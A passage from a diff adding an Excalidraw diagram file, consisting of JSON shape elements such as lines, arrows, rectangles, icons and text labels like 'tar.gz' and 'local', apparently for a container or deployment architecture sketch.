[ + 3.577156558973885, + 4.013531187937945 + ], + [ + 3.577156558973885, + 4.013531187937945 + ], + [ + 2.6310150024810808, + 1.2990102894315039 + ], + [ + 0.04847950502327267, + 0.026937054348987827 + ], + [ + 0, + 0 + ] + ] + }, + { + "type": "line", + "version": 1383, + "versionNonce": 1585828128, + "index": "c1vV", + "isDeleted": false, + "id": "wVIvgPfjDPdUOPBCmhjgT", + "fillStyle": "cross-hatch", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": -2521.0445918078613, + "y": 1617.711560401991, + "strokeColor": "#326ce5", + "backgroundColor": "#326ce5", + "width": 21.61379816117685, + "height": 21.532986998129886, + "seed": 561266976, + "groupIds": [ + "qRzDCtRUM4EMK6QqPu0Ks", + "MSL1IkNy-iA5sNsJOJlJx" + ], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1720441410879, + "link": null, + "locked": false, + "startBinding": null, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": null, + "points": [ + [ + 0, + 0 + ], + [ + -1.0774564853706057, + 18.817795627452476 + ], + [ + -1.158267648417528, + 18.817795627452547 + ], + [ + -1.158267648417528, + 18.817795627452547 + ], + [ + -2.9468459279045174, + 21.532986998129886 + ], + [ + -6.1792205217340594, + 21.2420740039657 + ], + [ + -21.61379816117685, + 10.30588168644821 + ], + [ + -21.61379816117685, + 10.30588168644821 + ], + [ + -13.393876135071661, + 4.216689393468182 + ], + [ + -3.8195900481148244, + 0.6141473709164558 + ], + [ + -0.010773794196026688, + 1.7911019889460533e-14 + ], + [ + 0, + 0 + ] + ] + }, + { + "type": "line", + "version": 1380, + "versionNonce": 1810804000, + "index": "c1vW", + "isDeleted": false, + "id": "oHFvVm4jmRKwlr9zWt16q", + "fillStyle": "cross-hatch", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": -2511.8157193525367, + "y": 1617.2747439696382, + "strokeColor": "#326ce5", + "backgroundColor": "#326ce5", + "width": 21.495276149584875, + "height": 21.619182489415984, + "seed": 663690528, + "groupIds": [ + "qRzDCtRUM4EMK6QqPu0Ks", + "MSL1IkNy-iA5sNsJOJlJx" + ], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1720441410879, + "link": null, + "locked": false, + "startBinding": null, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": null, + "points": [ + [ + 0, + 0 + ], + [ + 0, + 0 + ], + [ + 11.5981512901452, + 3.416885452657527 + ], + [ + 21.495276149584875, + 10.36514012338526 + ], + [ + 6.206157576083009, + 21.231300209769678 + ], + [ + 6.206157576083009, + 21.231300209769678 + ], + [ + 2.8768136967713307, + 21.619182489415984 + ], + [ + 1.567702654173706, + 20.466304306955344 + ], + [ + 1.0666826911745382, + 18.796242901342605 + ], + [ + 0, + 0 + ] + ] + }, + { + "type": "line", + "version": 1385, + "versionNonce": 266078496, + "index": "c1vX", + "isDeleted": false, + "id": "l6oqPsEz9k4kiJWCG9NpN", + "fillStyle": "cross-hatch", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": -2547.9895359159545, + "y": 1634.8212370512038, + "strokeColor": "#326ce5", + "backgroundColor": "#326ce5", + "width": 20.35856122727715, + "height": 23.380828852271723, + "seed": 1575909664, + "groupIds": [ + "qRzDCtRUM4EMK6QqPu0Ks", + "MSL1IkNy-iA5sNsJOJlJx" + ], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1720441410879, + "link": null, + "locked": false, + "startBinding": null, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": null, + "points": [ + [ + 0, + 0 + ], + [ + 14.1146928026491, + 12.595474791216494 + ], + [ + 14.114692802649166, + 12.676285954263477 + ], + [ + 14.114692802649166, + 12.676285954263477 + ], + [ + 15.116727590929647, + 15.768590948108955 + ], + [ + 12.870229662945446, + 18.112063299292966 + ], + [ + 12.87022966294547, + 18.165927132555417 + ], + [ + -5.241833636347504, + 23.375439386314806 + ], + [ + -5.241833636347504, + 23.375439386314806 + ], + [ + -4.565802454705608, + 11.247938757301643 + ], + [ + 0.00538432823911132, + -0.005389465956916698 + ], + [ + 0, + 0 + ] + ] + }, + { + "type": "line", + "version": 1383, + "versionNonce": 96331040, + "index": "c1vY", + "isDeleted": false, + "id": "RNccAWQ0JK1qPJLCeJ_3K", + "fillStyle": "cross-hatch", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": -2484.960285716219, + "y": 1634.8287909609567, + "strokeColor": "#326ce5", + "backgroundColor": "#326ce5", + "width": 20.385498281626145, + "height": 23.31078634570303, + "seed": 1208112416, + "groupIds": [ + "qRzDCtRUM4EMK6QqPu0Ks", + "MSL1IkNy-iA5sNsJOJlJx" + ], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1720441410879, + "link": null, + "locked": false, + "startBinding": null, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": null, + "points": [ + [ + 0, + 0 + ], + [ + 0, + 0 + ], + [ + 4.602090155424132, + 11.214985435425907 + ], + [ + 5.398066496484489, + 23.31078634570303 + ], + [ + -12.740933857157483, + 18.085121107226268 + ], + [ + -12.740933857157462, + 18.015083738375356 + ], + [ + -12.740933857157462, + 18.015083738375356 + ], + [ + -14.987431785141656, + 15.67161652490902 + ], + [ + -13.985391859143324, + 12.579316668781331 + ], + [ + 0.021547588392073075, + 0.043095176784166724 + ], + [ + 0, + 0 + ] + ] + }, + { + "type": "line", + "version": 1382, + "versionNonce": 453263648, + "index": "c1vZ", + "isDeleted": false, + "id": "7iTHad9QX6WR8xLolrklC", + "fillStyle": "cross-hatch", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": -2519.460471662779, + "y": 1648.2354842057657, + "strokeColor": "#326ce5", + "backgroundColor": "#326ce5", + "width": 12.891777251337555, + "height": 12.579321806499099, + "seed": 2067444000, + "groupIds": [ + "qRzDCtRUM4EMK6QqPu0Ks", + "MSL1IkNy-iA5sNsJOJlJx" + ], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1720441410879, + "link": null, + "locked": false, + "startBinding": null, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": null, + "points": [ + [ + 0, + 0 + ], + [ + 5.775174981934784, + -8.881784197001252e-16 + ], + [ + 9.303841760449842, + 4.482227199490101 + ], + [ + 8.021672909918966, + 10.085000923417155 + ], + [ + 2.833713382269413, + 12.579321806499099 + ], + [ + -2.365019939576153, + 10.085000923417144 + ], + [ + -3.587935490887712, + 4.482227199490087 + ], + [ + 0, + 0 + ] + ] + }, + { + "type": "line", + "version": 1383, + "versionNonce": 1864310048, + "index": "c1va", + "isDeleted": false, + "id": "K0M-dzGiJ9i6SxJfBZ5da", + "fillStyle": "cross-hatch", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": -2500.96052608384, + "y": 1663.5246027792678, + "strokeColor": "#326ce5", + "backgroundColor": "#326ce5", + "width": 22.168687095156212, + "height": 21.969364195952835, + "seed": 1594330400, + "groupIds": [ + "qRzDCtRUM4EMK6QqPu0Ks", + "MSL1IkNy-iA5sNsJOJlJx" + ], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1720441410879, + "link": null, + "locked": false, + "startBinding": null, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": null, + "points": [ + [ + 0, + 0 + ], + [ + 0, + 0 + ], + [ + 0.7272850542693186, + 5.051514762044462e-15 + ], + [ + 19.405005944019933, + 3.1515685685003696 + ], + [ + 19.405005944019933, + 3.1515685685003696 + ], + [ + 16.908506668596957, + 8.74112808228329 + ], + [ + 13.522093020124766, + 13.806948645019922 + ], + [ + 9.33970303059214, + 18.24952293864207 + ], + [ + 4.455285007423321, + 21.969364195952835 + ], + [ + -2.7636811511362773, + 4.493006131403921 + ], + [ + -2.7636811511362773, + 4.493006131403921 + ], + [ + -2.536254935646619, + 1.5761490622129528 + ], + [ + -0.02154758839207618, + 0.08081630076475184 + ], + [ + 0, + 0 + ] + ] + }, + { + "type": "line", + "version": 1382, + "versionNonce": 863926560, + "index": "c1vb", + "isDeleted": false, + "id": "Eb4Q9Ns4i-TMxr-aBEwZ-", + "fillStyle": "cross-hatch", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": -2532.0634282517512, + "y": 1663.971711798375, + "strokeColor": "#326ce5", + "backgroundColor": "#326ce5", + "width": 22.034006961129048, + "height": 21.81312619809802, + "seed": 1826154784, + "groupIds": [ + "qRzDCtRUM4EMK6QqPu0Ks", + "MSL1IkNy-iA5sNsJOJlJx" + ], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1720441410879, + "link": null, + "locked": false, + "startBinding": null, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": null, + "points": [ + [ + 0, + 0 + ], + [ + 0, + 0 + ], + [ + 2.607448290999286, + 1.443791176624797 + ], + [ + 2.8606504366184167, + 4.406795226964432 + ], + [ + 2.8606504366184176, + 4.476832595815383 + ], + [ + -4.315220545157038, + 21.81312619809802 + ], + [ + -4.315220545157038, + 21.81312619809802 + ], + [ + -13.27966466870164, + 13.729502687122359 + ], + [ + -19.17335652451063, + 3.1892691416098007 + ], + [ + -0.6572476854183891, + 0.048479505023265534 + ], + [ + -0.6572476854183891, + 0.048479505023265534 + ], + [ + -0.03232652030587868, + 0.04847950502326104 + ], + [ + 0, + 0 + ] + ] + }, + { + "type": "line", + "version": 1386, + "versionNonce": 1804752160, + "index": "c1vc", + "isDeleted": false, + "id": "b4r4bYq9pdMZaR7vjVgq_", + "fillStyle": "cross-hatch", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": -2516.4984518005776, + "y": 1671.1547980549099, + "strokeColor": "#326ce5", + "backgroundColor": "#326ce5", + "width": 23.89262774718469, + "height": 20.091209806876975, + "seed": 1881064736, + "groupIds": [ + "qRzDCtRUM4EMK6QqPu0Ks", + "MSL1IkNy-iA5sNsJOJlJx" + ], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1720441410879, + "link": null, + "locked": false, + "startBinding": null, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": null, + "points": [ + [ + 0, + 0 + ], + [ + 0, + 0 + ], + [ + 1.681595582041039, + 0.4197412676337038 + ], + [ + 2.8929769569243278, + 1.6592876114166915 + ], + [ + 2.9630143257752475, + 1.659287611416706 + ], + [ + 12.089080775413757, + 18.12822142172819 + ], + [ + 8.441886847588968, + 19.20568304481651 + ], + [ + 8.441886847588968, + 19.20568304481651 + ], + [ + -1.7515404719717598, + 20.091209806876975 + ], + [ + -11.803546971770931, + 18.160547942034093 + ], + [ + -2.6451540018264894, + 1.691603856287026 + ], + [ + -2.6451540018264894, + 1.691603856287026 + ], + [ + 0.048489780458839546, + 0.10235361372124321 + ], + [ + 0, + 0 + ] + ] + }, + { + "type": "arrow", + "version": 813, + "versionNonce": 1803759840, + "index": "c1vd", + "isDeleted": false, + "id": "xYx6tGIP0IWOH7LxTm-yd", + "fillStyle": "solid", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": -1708.0826073568116, + "y": 1658.1669896022722, + "strokeColor": "#1971c2", + "backgroundColor": "transparent", + "width": 710.7319134955928, + "height": 3.7770355345191455, + "seed": 1179197728, + "groupIds": [ + "MSL1IkNy-iA5sNsJOJlJx" + ], + "frameId": null, + "roundness": { + "type": 2 + }, + "boundElements": [], + "updated": 1720441411254, + "link": null, + "locked": false, + "startBinding": { + "elementId": "pAfaVyucvcAv5pgvjmEbd", + "focus": -0.02856116398153614, + "gap": 28.515386513057933 + }, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": "arrow", + "endArrowhead": "arrow", + "points": [ + [ + 0, + 0 + ], + [ + -710.7319134955928, + 3.7770355345191455 + ] + ] + }, + { + "type": "arrow", + "version": 1012, + "versionNonce": 2041189600, + "index": "c1ve", + "isDeleted": false, + "id": "tN13JWzxgMsAN5bTuOD6i", + "fillStyle": "solid", + "strokeWidth": 0.5, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": -1709.4619834431073, + "y": 1941.1864196983734, + "strokeColor": "#1971c2", + "backgroundColor": "transparent", + "width": 710.9965984231992, + "height": 256.841722350868, + "seed": 516422944, + "groupIds": [ + "MSL1IkNy-iA5sNsJOJlJx" + ], + "frameId": null, + "roundness": { + "type": 2 + }, + "boundElements": [], + "updated": 1720441411254, + "link": null, + "locked": false, + "startBinding": { + "elementId": "Cy3fFqf77DetL_pPUeGYa", + "focus": -0.6237798396621104, + "gap": 26.36508498757246 + }, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": "arrow", + "endArrowhead": "arrow", + "points": [ + [ + 0, + 0 + ], + [ + -399.06770797706156, + -72.78286449815722 + ], + [ + -710.9965984231992, + -256.841722350868 + ] + ] + }, + { + "type": "arrow", + "version": 904, + "versionNonce": 1041390816, + "index": "c1vf", + "isDeleted": false, + "id": "ge-d0bhNy9YBzB6TnY0IZ", + "fillStyle": "solid", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": -795.4157064892429, + "y": 1945.8231673817045, + "strokeColor": "#f08c00", + "backgroundColor": "transparent", + "width": 426.39662731696217, + "height": 2.5503038018628104, + "seed": 990599456, + "groupIds": [ + "BQMuuGv_pm3IAqfSz-F7S" + ], + "frameId": null, + "roundness": { + "type": 2 + }, + "boundElements": [], + "updated": 1720441411255, + "link": null, + "locked": false, + "startBinding": { + "elementId": "Cy3fFqf77DetL_pPUeGYa", + "focus": 0.21276970254730035, + "gap": 17.05919894312899 + }, + "endBinding": { + "elementId": "p7NavnGXPKPqHd2es9YWc", + "focus": -0.11030909117368605, + "gap": 3.8774629511870273 + }, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": "arrow", + "points": [ + [ + 0, + 0 + ], + [ + 426.39662731696217, + -2.5503038018628104 + ] + ] + }, + { + "type": "arrow", + "version": 960, + "versionNonce": 158580960, + "index": "c1vg", + "isDeleted": false, + "id": "bbmUgm2_KgotpQn9ohJhR", + "fillStyle": "solid", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": -145.18054159896425, + "y": 2059.242422233035, + "strokeColor": "#f08c00", + "backgroundColor": "transparent", + "width": 507.529027067991, + "height": 150.7013559796522, + "seed": 780350752, + "groupIds": [ + "BQMuuGv_pm3IAqfSz-F7S" + ], + "frameId": null, + "roundness": { + "type": 2 + }, + "boundElements": [], + "updated": 1720441411255, + "link": null, + "locked": false, + "startBinding": { + "elementId": "p7NavnGXPKPqHd2es9YWc", + "focus": 0.0053910939026323105, + "gap": 12.797210785806712 + }, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": "arrow", + "points": [ + [ + 0, + 0 + ], + [ + 2.275000588546832, + 141.92788997782952 + ], + [ + 507.529027067991, + 150.7013559796522 + ] + ] + }, + { + "type": "rectangle", + "version": 650, + "versionNonce": 802758944, + "index": "c1vh", + "isDeleted": false, + "id": "eJWtQGxNRlMaJcMQKYuBz", + "fillStyle": "hachure", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 390.71438705738115, + "y": 2106.179616059036, + "strokeColor": "#000000", + "backgroundColor": "#ced4da", + "width": 206.84083658839762, + "height": 137.89389105893176, + "seed": 513773856, + "groupIds": [ + "l275jFbH3rjfexxqvHXxe", + "BQMuuGv_pm3IAqfSz-F7S" + ], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1720441410879, + "link": null, + "locked": false + }, + { + "type": "line", + "version": 2107, + "versionNonce": 1448607008, + "index": "c1vi", + "isDeleted": false, + "id": "TNs9_d6hdb-4h9jnp-daw", + "fillStyle": "hachure", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 390.9647507283519, + "y": 2245.0198507153755, + "strokeColor": "#000000", + "backgroundColor": "#ced4da", + "width": 321.7524124708408, + "height": 80.13910583879168, + "seed": 47213856, + "groupIds": [ + "l275jFbH3rjfexxqvHXxe", + "BQMuuGv_pm3IAqfSz-F7S" + ], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1720441410879, + "link": null, + "locked": false, + "startBinding": null, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": null, + "points": [ + [ + 0, + 0 + ], + [ + -57.4557879412216, + 68.94694552946584 + ], + [ + -46.60289400467321, + 80.13910583879132 + ], + [ + 253.05304562024278, + 80.13910583879128 + ], + [ + 264.2966245296192, + 68.94694552946574 + ], + [ + 206.84083658839768, + -3.552713678800501e-13 + ], + [ + 0, + 0 + ] + ] + }, + { + "type": "rectangle", + "version": 673, + "versionNonce": 10180896, + "index": "c1vj", + "isDeleted": false, + "id": "jfzTBaRhpcdFBmMnQSNBi", + "fillStyle": "solid", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 395.64912331332766, + "y": 2111.3659688602365, + "strokeColor": "#000000", + "backgroundColor": "#fff", + "width": 195.92888360090663, + "height": 126.77751291823365, + "seed": 1686489376, + "groupIds": [ + "l275jFbH3rjfexxqvHXxe", + "BQMuuGv_pm3IAqfSz-F7S" + ], + "frameId": null, + "roundness": null, + "boundElements": [ + { + "id": "AHNJlerAK6kLWXa2SUSdv", + "type": "arrow" + } + ], + "updated": 1720441410879, + "link": null, + "locked": false + }, + { + "type": "line", + "version": 649, + "versionNonce": 1076859168, + "index": "c1vk", + "isDeleted": false, + "id": "PMhw0z7b5836PT6ctW-hw", + "fillStyle": "solid", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 471.152490175092, + "y": 2278.5469798827007, + "strokeColor": "#000000", + "backgroundColor": "#fff", + "width": 68.94694552946588, + "height": 22.982315176488626, + "seed": 523216160, + "groupIds": [ + "l275jFbH3rjfexxqvHXxe", + "BQMuuGv_pm3IAqfSz-F7S" + ], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1720441410879, + "link": null, + "locked": false, + "startBinding": null, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": null, + "points": [ + [ + 0, + 0 + ], + [ + -11.491157588244315, + 22.982315176488626 + ], + [ + 57.455787941221566, + 22.982315176488626 + ], + [ + 45.96463035297726, + 0 + ], + [ + 0, + 0 + ] + ] + }, + { + "type": "line", + "version": 617, + "versionNonce": 1918922016, + "index": "c1vl", + "isDeleted": false, + "id": "m1I_S9ZiOPOjIcgRVuwPz", + "fillStyle": "solid", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 333.2585991161602, + "y": 2313.0204526474336, + "strokeColor": "#000000", + "backgroundColor": "#fff", + "width": 321.7524124708408, + "height": 0, + "seed": 540934432, + "groupIds": [ + "l275jFbH3rjfexxqvHXxe", + "BQMuuGv_pm3IAqfSz-F7S" + ], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1720441410879, + "link": null, + "locked": false, + "startBinding": null, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": null, + "points": [ + [ + 0, + 0 + ], + [ + 321.7524124708408, + 0 + ] + ] + }, + { + "type": "diamond", + "version": 3360, + "versionNonce": 1645594912, + "index": "c1vm", + "isDeleted": false, + "id": "p7NavnGXPKPqHd2es9YWc", + "fillStyle": "solid", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 2, + "opacity": 100, + "angle": 0, + "x": -389.6995434679575, + "y": 1812.7832177443543, + "strokeColor": "#9c36b5", + "backgroundColor": "#eebefa", + "width": 487.49418220006436, + "height": 232.6477770712184, + "seed": 656465184, + "groupIds": [ + "BQMuuGv_pm3IAqfSz-F7S" + ], + "frameId": null, + "roundness": { + "type": 2 + }, + "boundElements": [ + { + "type": "text", + "id": "NuMKMLbt" + }, + { + "id": "ge-d0bhNy9YBzB6TnY0IZ", + "type": "arrow" + }, + { + "id": "qr_bmmffqKQVqPeNWBsDr", + "type": "arrow" + }, + { + "id": "bbmUgm2_KgotpQn9ohJhR", + "type": "arrow" + } + ], + "updated": 1720441410879, + "link": null, + "locked": false + }, + { + "type": "text", + "version": 2937, + "versionNonce": 1790944544, + "index": "c1vn", + "isDeleted": false, + "id": "NuMKMLbt", + "fillStyle": "solid", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 2, + "opacity": 100, + "angle": 0, + "x": -239.15011748581247, + "y": 1890.1705325002895, + "strokeColor": "#9c36b5", + "backgroundColor": "transparent", + "width": 186.6482391357422, + "height": 77.54925902373947, + "seed": 88619296, + "groupIds": [ + "BQMuuGv_pm3IAqfSz-F7S" + ], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1720441410879, + "link": null, + "locked": false, + "fontSize": 62.03940721899157, + "fontFamily": 1, + "text": "tar.gz", + "rawText": "tar.gz", + "textAlign": "center", + "verticalAlign": "middle", + "containerId": "p7NavnGXPKPqHd2es9YWc", + "originalText": "tar.gz", + "autoResize": true, + "lineHeight": 1.25 + }, + { + "type": "arrow", + "version": 1026, + "versionNonce": 721986784, + "index": "c1vo", + "isDeleted": false, + "id": "AHNJlerAK6kLWXa2SUSdv", + "fillStyle": "solid", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": -768.1429648200756, + "y": 2107.8049202810225, + "strokeColor": "#f08c00", + "backgroundColor": "transparent", + "width": 1143.8837830598632, + "height": 195.76614436902346, + "seed": 1579423008, + "groupIds": [ + "BQMuuGv_pm3IAqfSz-F7S" + ], + "frameId": null, + "roundness": { + "type": 2 + }, + "boundElements": [], + "updated": 1720441411255, + "link": null, + "locked": false, + "startBinding": null, + "endBinding": { + "elementId": "jfzTBaRhpcdFBmMnQSNBi", + "focus": -0.010849171341539786, + "gap": 19.908305073540078 + }, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": "arrow", + "points": [ + [ + 0, + 0 + ], + [ + 440.2327628404287, + 195.76614436902346 + ], + [ + 1143.8837830598632, + 86.16329297312205 + ] + ] + }, + { + "type": "rectangle", + "version": 1204, + "versionNonce": 2025091360, + "index": "c1vp", + "isDeleted": false, + "id": "gEW_MVKvm5xLZQT25hQmR", + "fillStyle": "solid", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 2, + "opacity": 100, + "angle": 0, + "x": -339.3236551132104, + "y": 2183.53702895255, + "strokeColor": "#f08c00", + "backgroundColor": "#ffec99", + "width": 367.5688098797453, + "height": 135.71120329154405, + "seed": 1730441504, + "groupIds": [ + "BQMuuGv_pm3IAqfSz-F7S" + ], + "frameId": null, + "roundness": { + "type": 3 + }, + "boundElements": [ + { + "type": "text", + "id": "vq5EjuKP" + } + ], + "updated": 1720441410879, + "link": null, + "locked": false + }, + { + "type": "text", + "version": 1024, + "versionNonce": 122244384, + "index": "c1vq", + "isDeleted": false, + "id": "vq5EjuKP", + "fillStyle": "solid", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 2, + "opacity": 100, + "angle": 0, + "x": -242.73297575927526, + "y": 2202.9243437084847, + "strokeColor": "#f08c00", + "backgroundColor": "transparent", + "width": 174.387451171875, + "height": 96.93657377967433, + "seed": 666455328, + "groupIds": [ + "BQMuuGv_pm3IAqfSz-F7S" + ], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1720441410879, + "link": null, + "locked": false, + "fontSize": 77.54925902373947, + "fontFamily": 1, + "text": "local", + "rawText": "local", + "textAlign": "center", + "verticalAlign": "middle", + "containerId": "gEW_MVKvm5xLZQT25hQmR", + "originalText": "local", + "autoResize": true, + "lineHeight": 1.25 + }, + { + "type": "rectangle", + "version": 3690, + "versionNonce": 652388640, + "index": "c1vr", + "isDeleted": false, + "id": "dodetNvqAt3W-ZbfEX1UF", + "fillStyle": "cross-hatch", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 0, + "opacity": 100, + "angle": 0, + "x": -1658.7763268850485, + "y": 2384.4151673834062, + "strokeColor": "#000000", + "backgroundColor": "#ced4da", + "width": 249.94573008593926, + "height": 249.70638348484775, + "seed": 961718560, + "groupIds": [ + "5gbUsCEra8EmtQFQhgf4i", + "ZJtkedtA1lmxFx7hapfgQ", + "jqWnZNs_L0sDZB9kqcrXi", + "D0A3r7OIArLUpX6_emq12", + "hKxR-q3Q5C3LiVi6FJ7UY", + "cBmhsg7VXYZd9KFAys_eA", + "5DbtPnANpEtpTqp0IAAZr" + ], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1720441410879, + "link": null, + "locked": false + }, + { + "type": "line", + "version": 2923, + "versionNonce": 1123058976, + "index": "c1vs", + "isDeleted": false, + "id": "fCh_3GvspzIfqB5o6BRUu", + "fillStyle": "solid", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 0, + "opacity": 100, + "angle": 0, + "x": -1600.061983431675, + "y": 2521.4987857384335, + "strokeColor": "#0091e2", + "backgroundColor": "#0091e2", + "width": 219.54720533052253, + "height": 107.7212538517636, + "seed": 123766048, + "groupIds": [ + "XXwU8soF6aC305OfxZboI", + "hKxR-q3Q5C3LiVi6FJ7UY", + "cBmhsg7VXYZd9KFAys_eA", + "5DbtPnANpEtpTqp0IAAZr" + ], + "frameId": null, + "roundness": { + "type": 2 + }, + "boundElements": [], + "updated": 1720441410879, + "link": null, + "locked": false, + "startBinding": null, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": null, + "points": [ + [ + 0, + 0 + ], + [ + 102.75000740386106, + -2.1540856871777536 + ], + [ + 127.44821455311391, + -5.241348626123922 + ], + [ + 122.32612227990099, + -25.0981178808364 + ], + [ + 130.46531006986405, + -43.97257620042899 + ], + [ + 143.02487586924656, + -26.361102037842517 + ], + [ + 141.3409495972131, + -12.187716148173509 + ], + [ + 161.5836432071069, + -26.04535923726853 + ], + [ + 177.40592112115056, + -20.256734160538656 + ], + [ + 168.0037338640688, + -7.521739206357446 + ], + [ + 147.30495436530225, + 2.2663394302796376 + ], + [ + 93.27775518456512, + 57.87230443272847 + ], + [ + 0.6595890787558835, + 63.74867765133462 + ], + [ + -42.14128420937197, + 4.32216811452447 + ], + [ + -13.89273504409956, + -2.315447204210012 + ], + [ + -1.113582428592525, + -0.07578625547812153 + ] + ] + }, + { + "type": "rectangle", + "version": 1829, + "versionNonce": 1491263776, + "index": "c1vt", + "isDeleted": false, + "id": "h9mAvj__2HDcpVm72Rtmj", + "fillStyle": "solid", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 0, + "opacity": 100, + "angle": 0, + "x": -1624.431677890373, + "y": 2491.2071224331808, + "strokeColor": "#0091e2", + "backgroundColor": "#0091e2", + "width": 21.583325570011986, + "height": 21.583325570011986, + "seed": 257089824, + "groupIds": [ + "XXwU8soF6aC305OfxZboI", + "hKxR-q3Q5C3LiVi6FJ7UY", + "cBmhsg7VXYZd9KFAys_eA", + "5DbtPnANpEtpTqp0IAAZr" + ], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1720441410879, + "link": null, + "locked": false + }, + { + "type": "rectangle", + "version": 1884, + "versionNonce": 942259488, + "index": "c1vu", + "isDeleted": false, + "id": "H8QtHm4WyLGw9U-8SwsDQ", + "fillStyle": "solid", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 0, + "opacity": 100, + "angle": 0, + "x": -1597.4525284751253, + "y": 2490.2179029045064, + "strokeColor": "#0091e2", + "backgroundColor": "#0091e2", + "width": 21.583325570011986, + "height": 21.583325570011986, + "seed": 546946336, + "groupIds": [ + "XXwU8soF6aC305OfxZboI", + "hKxR-q3Q5C3LiVi6FJ7UY", + "cBmhsg7VXYZd9KFAys_eA", + "5DbtPnANpEtpTqp0IAAZr" + ], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1720441410879, + "link": null, + "locked": false + }, + { + "type": "rectangle", + "version": 1904, + "versionNonce": 1110776096, + "index": "c1vv", + "isDeleted": false, + "id": "H0toYEvQ0FUHuq09a9mSl", + "fillStyle": "solid", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 0, + "opacity": 100, + "angle": 0, + "x": -1569.214375131467, + "y": 2490.667508350154, + "strokeColor": "#0091e2", + "backgroundColor": "#0091e2", + "width": 21.583325570011986, + "height": 21.583325570011986, + "seed": 480581920, + "groupIds": [ + "XXwU8soF6aC305OfxZboI", + "hKxR-q3Q5C3LiVi6FJ7UY", + "cBmhsg7VXYZd9KFAys_eA", + "5DbtPnANpEtpTqp0IAAZr" + ], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1720441410879, + "link": null, + "locked": false + }, + { + "type": "rectangle", + "version": 1925, + "versionNonce": 712308000, + "index": "c1vw", + "isDeleted": false, + "id": "bZ4D1SBaHTo66v_BgsDQe", + "fillStyle": "solid", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 0, + "opacity": 100, + "angle": 0, + "x": -1541.0661549525475, + "y": 2489.3186014460516, + "strokeColor": "#0091e2", + "backgroundColor": 